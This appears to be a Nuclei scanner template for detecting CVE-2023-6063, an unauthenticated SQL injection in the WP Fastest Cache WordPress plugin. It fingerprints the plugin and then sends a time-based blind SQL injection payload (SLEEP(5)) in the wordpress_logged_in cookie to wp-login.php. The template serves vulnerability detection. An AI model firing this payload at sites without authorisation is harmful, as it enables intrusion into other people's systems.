id: CVE-2023-6063 info: name: WP Fastest Cache 1.2.2 - Unauthenticated SQL Injection author: DhiyaneshDK severity: high description: | The WP Fastest Cache WordPress plugin before 1.2.2 does not properly sanitise and escape a parameter before using it in a SQL statement, leading to a SQL injection exploitable by unauthenticated users. reference: - https://wpscan.com/blog/unauthenticated-sql-injection-vulnerability-addressed-in-wp-fastest-cache-1-2-2/ - https://wordpress.org/plugins/wp-fastest-cache/ - https://github.com/motikan2010/CVE-2023-6063-PoC - https://nvd.nist.gov/vuln/detail/CVE-2023-6063 - https://wpscan.com/vulnerability/30a74105-8ade-4198-abe2-1c6f2967443e/ remediation: Fixed in 1.2.2 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2023-6063 cwe-id: CWE-89 cpe: cpe:2.3:a:wpfastestcache:wp_fastest_cache:*:*:*:*:*:wordpress:*:* epss-score: 0.00159 epss-percentile: 0.52296 metadata: framework: wordpress max-request: 2 product: wp_fastest_cache publicwww-query: /wp-content/plugins/wp-fastest-cache/ vendor: wpfastestcache tags: cve,cve2023,wp-fastest-cache,wpscan,wordpress,wp-plugin flow: http(1) && http(2) http: - method: GET path: - "{{BaseURL}}/wp-content/plugins/wp-fastest-cache/readme.txt" matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(body, "WP Fastest Cache")' condition: and internal: true - method: GET path: - "{{BaseURL}}/wp-login.php" headers: Cookie: wordpress_logged_in=" AND (SELECT 5025 FROM (SELECT(SLEEP(5)))NkcI) AND "tqKU"="tqKU matchers: - type: dsl dsl: - 'duration>=5' - 'status_code == 200' - 'contains(body, "wp-admin")' condition: and # digest: 490a0046304402201048ba4dca1eab902a8a80ff7d8ad6b3062b0166428b6f9b96e5dcf667a525060220528c1a953b7d7ba5935c62861222f9b4d298874f4025f403d4b2b6660409c30e:922c64590222798bb761d5b6d8e72950